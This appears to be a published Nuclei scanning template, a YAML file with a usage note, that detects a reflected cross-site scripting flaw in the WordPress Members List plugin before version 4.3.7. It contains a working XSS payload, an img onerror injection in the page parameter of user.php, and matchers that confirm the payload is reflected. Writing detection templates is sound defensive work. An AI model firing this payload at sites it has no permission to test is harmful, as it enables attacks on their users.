WordPress Members List <4.3.7 - Cross-Site Scripting

ID: members-list-xss

Severity: medium

Author: Akincibor

Tags: wp,wordpress,wp-plugin,xss,wpscan

Description

WordPress Members List 4.3.7 does not sanitize and escape some parameters in various pages before outputting them back, leading to reflected cross-site scripting vulnerabilities.

YAML Source

id: members-list-xss

info:
  name: WordPress Members List <4.3.7 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Members List 4.3.7 does not sanitize and escape some parameters in various pages before outputting them back, leading to reflected cross-site scripting vulnerabilities.
  reference:
    - https://wpscan.com/vulnerability/d13f26f0-5d91-49d7-b514-1577d4247648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: wp,wordpress,wp-plugin,xss,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/members-list/admin/view/user.php?page=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%20x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src onerror=alert(document.domain) x'
          - "wrap tern-wrap"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ef0d998836272c57ac5763935243918807b60b02d3c04f28be9ce9dd63da7023022100db317ff8cae168687fce341e8b9882272f840bb5442a17d05e8758a21a965565:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/members-list-xss.yaml"

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